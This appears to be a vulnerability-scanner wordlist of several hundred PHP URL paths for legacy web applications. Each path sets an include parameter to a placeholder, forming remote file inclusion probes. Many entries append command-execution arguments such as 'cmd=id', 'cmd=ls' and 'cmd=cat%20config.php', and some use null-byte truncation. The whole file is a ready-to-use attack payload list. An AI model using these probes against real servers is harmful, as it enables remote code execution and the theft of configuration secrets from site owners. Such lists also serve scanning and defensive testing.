/modules/punish/profile.php?exbb[home_path]=XXpathXX?
/modules/reports/index.php?full_path=XXpathXX
/modules/search/index.php?full_path=XXpathXX
/modules/search/search.php?language_home=&rootdp=zZz&gsLanguage=XXpathXX?
/modules/settings/headerfile.php?system[path]=XXpathXX
/modules/snf/index.php?full_path=XXpathXX
/modules/syslog/index.php?full_path=XXpathXX
/modules/tasks/index.php?full_path=XXpathXX
/modules/tasks/searchsimilar.php?full_path=XXpathXX
/modules/tasks/summary.inc.php?full_path=XXpathXX
/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?
/modules/tinycontent/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX
/modules/tml/block.tag.php?GLOBALS[PTH][classes]=XXpathXX
/modules/tsdisplay4xoops/blocks/tsdisplay4xoops_block2.php?xoops_url=XXpathXX
/modules/useradm/index.php?full_path=XXpathXX
/modules/users/headerfile.php?system[path]=XXpathXX
/modules/vWar_Account/includes/functions_common.php?vwar_root2=XXpathXX
/modules/visitors2/include/config.inc.php?lvc_include_dir=XXpathXX?
/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=XXpathXX
/modules/wiwimod/spaw/spaw_control.class.php?spaw_root=XXpathXX
/modules/xfsection/modify.php?dir_module=XXpathXX
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=XXpathXX
/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX
/modules/xt_conteudo/admin/spaw/spaw_control.class.php?spaw_root=XXpathXX?
/modulistica/mdl_save.php?CLASSPATH=XXpathXX
/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=XXpathXX?
/moodle/admin/utfdbmigrate.php?cmd=XXpathXX
/moosegallery/display.php?type=XXpathXX?&cmd=[command]
/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=XXpathXX
/moteur/moteur.php?chemin=XXpathXX?
/movie_cls.php?full_path=XXpathXX
/msDb.php?GLOBALS[ini_array][EXTLIB_PATH]=XXpathXX
/music/buycd.php?HTTP_DOCUMENT_ROOT=XXpathXX?
/mutant_includes/mutant_functions.php?phpbb_root_path=XXpathXX
/mxBB/modules/kb_mods/includes/kb_constants.php?module_root_path=XXpathXX
/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=XXpathXX
/mygallery/myfunctions/mygallerybrowser.php?myPath=XXpathXX
/myphpcommander_path/system/lib/package.php?gl_root=XXpathXX?cmd
/mysave.php?file=XXpathXX
/naboard_pnr.php?skin=XXpathXX?
/ncaster/admin/addons/archive/archive.php?adminfolder=XXpathXX
/network_module_selector.php?path_prefix=XXpathXX
/news.php?CONFIG[script_path]=XXpathXX?
/news.php?config[root_ordner]=XXpathXX?&cmd=id
/news.php?scriptpath=XXpathXX?
/news.php?vwar_root=XXpathXX
/news/include/createdb.php?langfile;=XXpathXX?
/news/include/customize.php?l=XXpathXX?
/news/newstopic_inc.php?indir=XXpathXX
/news/scripts/news_page.php?script_path=XXpathXX?
/newsadmin.php?action=XXpathXX
/newsarchive.php?path_to_script=XXpathXX?&cmd=ls
/newsfeeds/includes/aggregator.php?zf_path=XXpathXX
/newsfeeds/includes/controller.php?zf_path=XXpathXX
/newsletter/newsletter.php?waroot=XXpathXX
/newsp/lib/class.Database.php?path=XXpathXX?
/newticket.php?lang=XXpathXX
/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=XXpathXX
/noticias.php?inc=XXpathXX?
/nucleus/plugins/skinfiles/index.php?DIR_LIBS=XXpathXX
/nuke_path/iframe.php?file=XXpathXX
/nukebrowser.php?filnavn=XXpathXX&filhead=XXpathXX&cmd=id
/nuseo/admin/nuseo_admin_d.php?nuseo_dir=XXpathXX?
/oaboard_en/forum.php?inc=XXpathXX
/ocp-103/index.php?req_path=XXpathXX
/ocs/include/footer.inc.php?fullpath=XXpathXX?
/ocs/include/theme.inc.php?fullpath=XXpathXX?
/ocs/openemr-2.8.2/custom/import_xml.php?srcdir=XXpathXX?
/olbookmarks-0.7.4/themes/test1.php?XXpathXX
/oneadmin/adminfoot.php?path[docroot]=XXpathXX
/oneadmin/blogger/sampleblogger.php?path[docroot]=XXpathXX?
/oneadmin/config-bak.php?include_once=XXpathXX
/oneadmin/config.php?path[docroot]=XXpathXX
/oneadmin/ecommerce/sampleecommerce.php?path[docroot]=XXpathXX?
/online.php?config[root_ordner]=XXpathXX?&cmd=id
/open-admin/plugins/site_protection/index.php?config%5boi_dir%5d=XXpathXX?
/openi-admin/base/fileloader.php?config[openi_dir]=XXpathXX
/openrat/themes/default/include/html/insert.inc.php?tpl_dir=XXpathXX???
/opensurveypilot/administration/user/lib/group.inc.php?cfgPathToProjectAdmin=XXpathXX
/ops/gals.php?news_file=XXpathXX
/order/login.php?svr_rootscript=XXpathXX
/osData/php121/php121db.php?php121dir=XXpathXX%00
/ossigeno-suite-2.2_pre1/upload/xax/admin/modules/uninstall_module.php?level=XXpathXX?
/ossigeno_modules/ossigeno-catalogo/xax/ossigeno/catalogo/common.php?ossigeno=XXpathXX?
/owimg.php3?path=XXpathXX
/p-news.php?pn_lang=XXpathXX
/pafiledb/includes/pafiledb_constants.php?module_root_path=XXpathXX
/page.php?goto=XXpathXX
/page.php?id=XXpathXX
/panel/common/theme/default/header_setup.php?path[docroot]=XXpathXX
/param_editor.php?folder=XXpathXX?
/parse/parser.php?WN_BASEDIR=XXpathXX
/patch/?language_id=XXpathXX
/patch/tools/send_reminders.php?noSet=0&includedir=XXpathXX?
/paypalipn/ipnprocess.php?INC=XXpathXX?
/pda/pda_projects.php?offset=XXpathXX
/phfito/phfito-post?SRC_PATH=XXpathXX
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=XXpathXX
/photo_comment.php?toroot=XXpathXX
/php-inc/log.inc.php?SKIN_URL=XXpathXX
/php-include-robotsservices.php?page=XXpathXX
/php-nuke/modules/Forums/admin/admin_styles.php?phpbb_root_path=XXpathXX
/php.incs/common.inc.php?cm_basedir=XXpathXX?
/php/init.gallery.php?include_class=XXpathXX/something
/php121db.php?php121dir=XXpathXX%00
/php4you.php?dir=XXpathXX?
/phpAdsNew-2.0.7/libraries/lib-remotehost.inc?phpAds_geoPlugin=XXpathXX?
/phpBB2/shoutbox.php?phpbb_root_path=XXpathXX
/phpCards.header.php?CardPath=XXpathXX?
/phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=XXpathXX
/phpMyChat.php3?=XXpathXX?cmd=id
/phpMyConferences_8.0.2/common/visiteurs/include/menus.inc.php?lvc_include_dir=XXpathXX?
/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=XXpathXX?
/phpSiteBackup-0.1/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX
/phpbb/sendmsg.php?phpbb_root_path=XXpathXX
/phpcalendar/includes/calendar.php?phpc_root_path=XXpathXX?
/phpcalendar/includes/setup.php?phpc_root_path=XXpathXX?
/phpdebug_PATH/test/debug_test.php?debugClassLocation=XXpathXX
/phpffl/phpffl_webfiles/program_files/livedraft/admin.php?PHPFFL_FILE_ROOT=XXpathXX
/phpffl/phpffl_webfiles/program_files/livedraft/livedraft.php?PHPFFL_FILE_ROOT=XXpathXX
/phphd_downloads/common.php?phphd_real_path=XXpathXX
/phphost_directoryv2/include/admin.php?rd=XXpathXX?
/phphtml.php?htmlclass_path=XXpathXX
/phpi/edit_top_feature.php?include_connection=XXpathXX
/phpi/edit_topics_feature.php?include_connection=XXpathXX
/phplib/site_conf.php?ordnertiefe=XXpathXX
/phplib/version/1.3.3/functionen/class.csv.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/functionen/produkte_nach_serie.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/functionen/ref_kd_rubrik.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/hg_referenz_jobgalerie.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/produkte_nach_serie_alle.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/ref_kd_rubrik.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/referenz.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/surfer_aendern.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/module/surfer_anmeldung_NWL.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/standard/1/lay.php?tt_docroot=XXpathXX
/phplib/version/1.3.3/standard/3/lay.php?tt_docroot=XXpathXX
/phplinks/includes/smarty.php?full_path_to_public_program=XXpathXX
/phporacleview/inc/include_all.inc.php?page_dir=XXpathXX?
/phppc/poll.php?is_phppc_included=1&relativer_pfad=XXpathXX?
/phppc/poll_kommentar.php?is_phppc_included=1&relativer_pfad=XXpathXX?
/phppc/poll_sm.php?is_phppc_included=1&relativer_pfad=XXpathXX?
/phpquickgallery/gallery_top.inc.php?textFile=XXpathXX
/phpreactor/inc/polls.inc.php?pathtohomedir=XXpathXX?
/phpreactor/inc/updatecms.inc.php?pathtohomedir=XXpathXX?
/phpreactor/inc/users.inc.php?pathtohomedir=XXpathXX?
/phpreactor/inc/view.inc.php?pathtohomedir=XXpathXX?
/phpress/adisplay.php?lang=XXpathXX
/phpunity-postcard.php?plgallery_epost=1&gallery_path=XXpathXX?
/phpwcms_template/inc_script/frontend_render/navigation/config_HTML_MENU.php?HTML_MENU_DirPath=XXpathXX
/phpwcms_template/inc_script/frontend_render/navigation/config_PHPLM.php?HTML_MENU_DirPath=XXpathXX
/phpyabs/moduli/libri/index.php?Azione=XXpathXX
/pirvate/ltwpdfmonth.php?ltw_config['include_dir]=XXpathXX
/playlist.php?phpbb_root_path=XXpathXX
/plugin/HP_DEV/cms2.php?s_dir=XXpathXX?
/plugin/gateway/gnokii/init.php?apps_path[plug]=XXpathXX?
/plugins/1_Adressbuch/delete.php?folder=XXpathXX
/plugins/BackUp/Archive.php?bkpwp_plugin_path=XXpathXX?
/plugins/BackUp/Archive/Predicate.php?bkpwp_plugin_path=XXpathXX?
/plugins/BackUp/Archive/Reader.php?bkpwp_plugin_path=XXpathXX?
/plugins/BackUp/Archive/Writer.php?bkpwp_plugin_path=XXpathXX?
/plugins/links/functions.inc?_CONF[path]=XXpathXX
/plugins/polls/functions.inc?_CONF[path]=XXpathXX
/plugins/rss_importer_functions.php?sitepath=XXpathXX?
/plugins/safehtml/HTMLSax3.php?dir[plugins]=XXpathXX?
/plugins/safehtml/safehtml.php?dir[plugins]=XXpathXX?
/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=XXpathXX
/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=XXpathXX
/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=XXpathXX
/plugins/spamx/Import.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/LogView.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=XXpathXX
/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=XXpathXX
/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=XXpathXX
/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=XXpathXX
/plugins/staticpages/functions.inc?_CONF[path]=XXpathXX
/plugins/widgets/htmledit/htmledit.php?_POWL[installPath]=XXpathXX
/plume-1.1.3/manager/tools/link/dbinstall.php?cmd=ls&_PX_config[manager_path]=XXpathXX
/plus.php?_pages_dir=XXpathXX?
/pmapper-3.2-beta3/incphp/globals.php?_SESSION[PM_INCPHP]=XXpathXX?
/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX
/pmi_v28/Includes/global.inc.php?strIncludePrefix=XXpathXX?
/podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/login.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=XXpathXX
/podcastgen1.0beta2/core/archive_cat.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=XXpathXX
/podcastgen1.0beta2/core/recent_list.php?absoluteurl=XXpathXX
/poll/view.php?int_path=XXpathXX
/pollvote.php?pollname=XXpathXX?&cmd=ls
/pop.php?base=XXpathXX
/popup_window.php?site_isp_root=XXpathXX?
/port.php?content=XXpathXX
/portal/includes/portal_block.php?phpbb_root_path=XXpathXX
/portal/portal.php?phpbb_root_path=XXpathXX?
/portfolio.php?id=XXpathXX
/portfolio/commentaires/derniers_commentaires.php?rep=XXpathXX?
/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=XXpathXX
/prepare.php?xcart_dir=XXpathXX?
/prepend.php?_PX_config[manager_path]=XXpathXX
/preview.php?php_script_path=XXpathXX?&cmd=dir
/principal.php?conteudo=XXpathXX
/print.php?page=XXpathXX
/print.php?pager=XXpathXX
/print.php?print=XXpathXX?
/process.php?DEFAULT_SKIN=XXpathXX
/professeurs/index.php?repertoire_config=XXpathXX
/profil.php?config[root_ordner]=XXpathXX?&cmd=id
/projects/weatimages/demo/index.php?ini[langpack]=XXpathXX
/promocms/newspublish/include.php?path[bdocroot]=XXpathXX
/protection.php?logout_page=XXpathXX?
/provider/auth.php?xcart_dir=XXpathXX?
/psynch/nph-psa.exe?css=XXpathXX
/psynch/nph-psf.exe?css=XXpathXX
/public_html/add-ons/modules/sysmanager/plugins/install.plugin.php?AURORA_MODULES_FOLDER=XXpathXX?
/public_html/modules/Forums/favorites.php?nuke_bb_root_path=XXpathXX?
/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=XXpathXX
/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=XXpathXX
/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=XXpathXX?
/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=XXpathXX?
/qte_web.php?qte_web_path=XXpathXX?
/quick_reply.php?phpbb_root_path=XXpathXX&mode=[file]
/quickie.php?QUICK_PATH=XXpathXX?&cmd=id
/random2.php?path_to_folder=XXpathXX
/randshop/index.php?incl=XXpathXX?
/rdf.php?page[path]=XXpathXX?&cmd=ls
/reactivate.php?base_dir=XXpathXX
/read.php?data=XXpathXX?
/readmore.php?config["sipssys"]=XXpathXX
/recent.php?insPath=XXpathXX
/rechnung.php?_PHPLIB[libdir]=XXpathXX?
/reconfig.php?GLOBALS[CLPath]=XXpathXX
/redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=XXpathXX
/redirect.php?url=XXpathXX
/redsys/404.php?REDSYS[MYPATH][TEMPLATES]=XXpathXX
/register.php?base_dir=XXpathXX
/releasenote.php?mosConfig_absolute_path=XXpathXX
/rempass.php?lang=XXpathXX
/report.php?scriptpath=XXpathXX?
/reports/who_r.php?bj=XXpathXX
/resources/includes/class.Smarty.php?cfg[sys][base_path]=XXpathXX
/ressourcen/dbopen.php?home=XXpathXX?
/robotstats.inc.php?DOCUMENT_ROOT=XXpathXX?
/root/public/code/cp_html2txt.php?page=XXpathXX
/routines/fieldValidation.php?jssShopFileSystem=XXpathXX
/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX
/rspa/framework/Controller_v4.php?__ClassPath=XXpathXX?
/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX
/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=XXpathXX?
/rss.php?page[path]=XXpathXX?&cmd=ls
/rss.php?phpraid_dir=XXpathXX
/rss.php?premodDir=XXpathXX
/rss2.php?page[path]=XXpathXX?&cmd=ls
/run.php?dir=SHELL?&file=XXpathXX
/s01.php?shopid=XXpathXX
/s01.php?shopid=XXpathXX?
/s02.php?shopid=XXpathXX?
/s03.php?shopid=XXpathXX?
/s04.php?shopid=XXpathXX?
/sablonlar/gunaysoft/gunaysoft.php?icerikyolu=XXpathXX
/sablonlar/gunaysoft/gunaysoft.php?sayfaid=XXpathXX
/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX
/saf/lib/PEAR/PhpDocumentor/Documentation/tests/559668.php?FORUM[LIB]=XXpathXX?
/sample/xls2mysql/parser_path=XXpathXX?
/save.php?file_save=XXpathXX
/saveserver.php?thisdir=XXpathXX
/script//ident/index.php?path_inc=XXpathXX
/script/_conf/core/common-tpl-vars.php?confdir=XXpathXX?
/script/common.inc.php?path_inc=XXpathXX
/script/gestion/index.php?path_inc=XXpathXX
/script/ident/disconnect.php?path_inc=XXpathXX
/script/ident/ident.inc.php?path_inc=XXpathXX
/script/ident/identification.php?path_inc=XXpathXX
/script/ident/loginliste.php?path_inc=XXpathXX
/script/ident/loginmodif.php?path_inc=XXpathXX
/script/index.php?path_inc=XXpathXX
/script/init/createallimagecache.php?PATH_TO_CODE=XXpathXX
/script/menu/menuadministration.php?path_inc=XXpathXX
/script/menu/menuprincipal.php?path_inc=XXpathXX
/script/param/param.inc.php?path_inc=XXpathXX
/script/plugins/phpgacl/admin/index.php?path_inc=XXpathXX
/script/template/index.php?main_page_directory=XXpathXX
/script/tick/allincludefortick.php?PATH_TO_CODE=XXpathXX
/script/tick/test.php?PATH_TO_CODE=XXpathXX
/script_path/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=XXpathXX?
/script_path/cms/classes/openengine/filepool.php?oe_classpath=XXpathXX?
/script_path/installation/index.php?mosConfig_absolute_path=XXpathXX?
/script_path/pgvnuke/pgvindex.php?DOCUMENT_ROOT/header.php=XXpathXX
/scripts/check-lom.php?ETCDIR=XXpathXX
/scripts/gallery.scr.php?GLOBALS[PTH][func]=XXpathXX?
/scripts/lom_update.php?ETCDIR=XXpathXX
/scripts/news.scr.php?GLOBALS[PTH][classes]=XXpathXX?
/scripts/polls.scr.php?GLOBALS[PTH][classes]=XXpathXX?
/scripts/rss.scr.php?GLOBALS[PTH][classes]=XXpathXX?
/scripts/search.scr.php?GLOBALS[PTH][classes]=XXpathXX?
/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX
/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=XXpathXX?
/scripts/weigh_keywords.php?ETCDIR=XXpathXX
/scripts/xtextarea.scr.php?GLOBALS[PTH][spaw]=XXpathXX?
/search.php?config["sipssys"]=XXpathXX
/search.php?id=XXpathXX
/search.php?insPath=XXpathXX
/search/submit.php?config["sipssys"]=XXpathXX
/search_wA.php?LIBPATH=XXpathXX
/searchbot.php?path=XXpathXX
/security/include/_class.security.php?PHPSECURITYADMIN_PATH=XXpathXX
/sendstudio/admin/includes/createemails.inc.php?ROOTDIR=XXpathXX?
/sendstudio/admin/includes/send_emails.inc.php?ROOTDIR=XXpathXX?
/senetman/html/index.php?page=XXpathXX
/services.php?page=XXpathXX
/services/samples/inclusionService.php?CabronServiceFolder=XXpathXX%00
/settings.php?P[includes]=XXpathXX
/settings_sql.php?path=XXpathXX
/setup/inc/database.php?tcms_administer_site=XXpathXX
/setup/upgrader.php?RootDirectory=XXpathXX
/sezhoo/SezHooTabsAndActions.php?IP=XXpathXX
/shop/includes/header.inc.php?dateiPfad=XXpathXX
/shop/index.php?action=XXpathXX?&cmd=cat%20config.php
/shop/page.php?osCsid=XXpathXX?
/shop/page.php?pageid=XXpathXX?
/shoutbox.php?language=XXpathXX
/shoutbox.php?root=XXpathXX?cmd=id
/show.php?file=XXpathXX
/show.php?id=XXpathXX
/show.php?page=XXpathXX
/show.php?path=XXpathXX
/show_archives.php?cutepath=XXpathXX?
/sid=XXXXXXXXXXXXXXXXXXXXXXXXXXXX&shopid=XXpathXX
/sid=XXpathXX
/signer/final.php?smiley=XXpathXX?
/signin.php?sent=1&AMG_serverpath=XXpathXX
/sinagb.php?fuss=XXpathXX
/sinapis.php?fuss=XXpathXX
/sitebar/Integrator.php?file=XXpathXX
/sitebar/index.php?writerFile=XXpathXX
/sitebuilder/admin/top.php?admindir=XXpathXX
/sitemap.xml.php?dir[classes]=XXpathXX
/skin/board/default/doctype.php?dir=XXpathXX
/skin/dark/template.php?path=XXpathXX
/skin/gold/template.php?path=XXpathXX
/skin/html/table.php?pachtofile=XXpathXX
/skin/original/template.php?path=XXpathXX
/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=XXpathXX
/skins/advanced/advanced1.php?pluginpath[0]=XXpathXX
/skins/default.php?dir_inc=XXpathXX
/skins/header.php?ote_home=XXpathXX
/skins/phpchess/layout_admin_cfg.php?Root_Path=XXpathXX
/skins/phpchess/layout_cfg.php?Root_Path=XXpathXX
/skins/phpchess/layout_t_top.php?Root_Path=XXpathXX
/skysilver/login.tpl.php?theme=XXpathXX?
/slogin_lib.inc.php?slogin_path=XXpathXX?
/smarty.php?xcart_dir=XXpathXX?
/smarty/smarty_class.php?_smarty_compile_path=XXpathXX
/smilies.php?config=XXpathXX
/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=XXpathXX?
/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=XXpathXX?
/snort/base_stat_common.php?BASE_path=XXpathXX
/social_game_play.php?path=XXpathXX?
/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=XXpathXX
/song.php?phpbb_root_path=XXpathXX
/source.php?bibtexrootrel=XXpathXX?
/source/mod/rss/channeledit.php?Codebase=XXpathXX
/source/mod/rss/post.php?Codebase=XXpathXX
/source/mod/rss/view.php?Codebase=XXpathXX
/source/mod/rss/viewitem.php?Codebase=XXpathXX
/sources/Admin/admin_cats.php?CONFIG[main_path]=XXpathXX
/sources/Admin/admin_edit.php?CONFIG[main_path]=XXpathXX
/sources/Admin/admin_import.php?CONFIG[main_path]=XXpathXX
/sources/Admin/admin_templates.php?CONFIG[main_path]=XXpathXX
/sources/functions.php?CONFIG[main_path]=XXpathXX
/sources/help.php?CONFIG[main_path]=XXpathXX
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=XXpathXX
/sources/lostpw.php?FORM[set]=1&FORM[session_id]=1&CONFIG[path]=XXpathXX
/sources/mail.php?CONFIG[main_path]=XXpathXX
/sources/misc/new_day.php?path=XXpathXX
/sources/news.php?CONFIG[main_path]=XXpathXX
/sources/post.php?fil_config=XXpathXX
/sources/template.php?CONFIG[main_path]=XXpathXX
/sources/tourney/index.php?page=XXpathXX?
/spaw/spaw_control.class.php?GLOBALS[spaw_root]=XXpathXX
/spaw/spaw_control.class.php?spaw_root=XXpathXX
/speedberg/include/entrancePage.tpl.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/generalToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/myToolBox.tlb.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/scriplet.inc.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/simplePage.tpl.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/speedberg.class.php?SPEEDBERG_PATH=XXpathXX
/speedberg/include/standardPage.tpl.php?SPEEDBERG_PATH=XXpathXX
/spellcheckwindowframeset.php?SpellIncPath=XXpathXX
/squirrelcart/cart_content.php?cart_isp_root=XXpathXX
/src/ark_inc.php?cfg_pear_path=XXpathXX?
/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=XXpathXX
/src/scripture.php?pageHeaderFile=XXpathXX?
/starnet/themes/c-sky/main.inc.php?cmsdir=XXpathXX?
/start.php?lang=XXpathXX
/start.php?pg=XXpathXX
/stat_modules/users_age/module.php?phpbb_root_path=XXpathXX
/stats.php?vwar_root=XXpathXX
/stphpapplication.php?STPHPLIB_DIR=XXpathXX
/stphpbtnimage.php?STPHPLIB_DIR=XXpathXX
/stphpform.php?STPHPLIB_DIR=XXpathXX
/str.php?p=XXpathXX
/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX
/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=XXpathXX?
/strload.php?LangFile=XXpathXX
/studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls%20-al&ABSOLUTE_PATH_STUDIP=XXpathXX?
/studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls%20-al&_PHPLIB[libdir]=XXpathXX?
/styles.php?toroot=XXpathXX
/styles/default/global_header.php?installed=23&domain=XXpathXX
/submit_abuse.php?path_prefix=XXpathXX
/submit_comment.php?path_prefix=XXpathXX
/subscp.php?phpbb_root_path=XXpathXX?
/suite/index.php?pg=XXpathXX?
/supasite/admin_auth_cookies.php?supa[db_path]=XXpathXX
/supasite/admin_mods.php?supa[db_path]=XXpathXX
/supasite/admin_news.php?supa[db_path]=XXpathXX
/supasite/admin_settings.php?supa[include_path]=XXpathXX
/supasite/admin_topics.php?supa[db_path]=XXpathXX
/supasite/admin_users.php?supa[db_path]=XXpathXX
/supasite/admin_utilities.php?supa[db_path]=XXpathXX
/supasite/backend_site.php?supa[include_path]=XXpathXX
/supasite/common_functions.php?supa[db_path]=XXpathXX
/supasite/site_comment.php?supa[db_path]=XXpathXX
/supasite/site_news.php?supa[db_path]=XXpathXX
/support/include/open_form.php?include_dir=XXpathXX?cmd=pwd
/support/index.php?main=XXpathXX
/surveys/survey.inc.php?path=XXpathXX
/sw/lib_comment/comment.php?doc_directory=XXpathXX?
/sw/lib_find/find.php?doc_directory=XXpathXX?
/sw/lib_session/session.php?doc_directory=XXpathXX?
/sw/lib_up_file/file.php?doc_directory=XXpathXX?
/sw/lib_up_file/find_file.php?doc_directory=XXpathXX?
/sw/lib_user/find_user.php?doc_directory=XXpathXX?
/sw/lib_user/user.php?doc_directory=XXpathXX?
/sys/code/box.inc.php?config["sipssys"]=XXpathXX
/system/ImageImageMagick.php?glConf[path_system]=XXpathXX?
/system/_b/contentFiles/gBIndex.php?gBRootPath=XXpathXX?
/system/admin/include/item_main.php?GLOBALS=XXpathXX
/system/admin/include/upload_form.php?GLOBALS=XXpathXX
/system/command/admin.cmd.php?GLOBALS=XXpathXX
/system/command/download.cmd.php?GLOBALS=XXpathXX
/system/funcs/xkurl.php?PEARPATH=XXpathXX
/system/includes/pageheaderdefault.inc.php?_sysSessionPath=XXpathXX
/system/login.php?site_path=XXpathXX
/tagit2b/tagmin/delTagUser.php?configpath=XXpathXX?
/tags.php?BBCodeFile=XXpathXX
/taxonservice.php?dir=XXpathXX?
/teatro/pub/pub08_comments.php?basePath=XXpathXX
/technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=XXpathXX?
/template.php?actionsPage=XXpathXX?
/template.php?blog_theme=XXpathXX
/template.php?pagina=XXpathXX
/template/Noir/index.php?site_path=XXpathXX
/template/Vert/index.php?pageAll=XXpathXX
/template/Vert/index.php?site_path=XXpathXX
/template/barnraiser_01/p_new_password.tpl.php?templatePath=XXpathXX
/template/default/footer.php?ROOT_PATH=XXpathXX?cmd=ls
/template/default/test/header.php?ROOT_PATH=XXpathXX?cmd=ls
/template/gwb/user_bottom.php?config[template_path]=XXpathXX
/template/purpletech/base_include.php?page=XXpathXX?
/template/rwb/user_bottom.php?config[template_path]=XXpathXX
/template_csv.php?rInfo[content]=XXpathXX
/templates/2blue/bodyTemplate.php?serverPath=XXpathXX?
/templates/Official/part_userprofile.php?template_path=XXpathXX
/templates/barrel/template.tpl.php?renderer=XXpathXX
/templates/barrel/template.tpl.php?renderer=XXpathXX?
/templates/barry/template.tpl.php?renderer=XXpathXX
/templates/be2004-2/index.php?mosConfig_absolute_path=XXpathXX
/templates/datumVonDatumBis.inc.php?root=XXpathXX
/templates/default/header.inc.php?menu=XXpathXX
/templates/default/index_logged.php?main_loaded=1&cur_module=XXpathXX
/templates/default/tpl_message.php?right_file=XXpathXX
/templates/footer.inc.php?root=XXpathXX
/templates/header.inc.php?root=XXpathXX
/templates/mylook/template.tpl.php?renderer=XXpathXX
/templates/oerdec/template.tpl.php?renderer=XXpathXX
/templates/pb/language/lang_nl.php?temppath=XXpathXX
/templates/penguin/template.tpl.php?renderer=XXpathXX
/templates/sidebar/template.tpl.php?renderer=XXpathXX
/templates/slashdot/template.tpl.php?renderer=XXpathXX
/templates/stylesheets.php?root=XXpathXX
/templates/text-only/template.tpl.php?renderer=XXpathXX
/templates/tmpl_dfl/scripts/index.php?dir[inc]=XXpathXX
/theme/breadcrumb.php?rootBase=XXpathXX?
/theme/default.php?root=XXpathXX
/theme/format.php?_page_content=XXpathXX?
/theme/format.php?_page_css=XXpathXX?
/theme/frames1.php?root=XXpathXX
/theme/frames1_center.php?root=XXpathXX
/theme/frames1_left.php?root=XXpathXX
/theme/frames1_top.php?root=XXpathXX
/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=XXpathXX
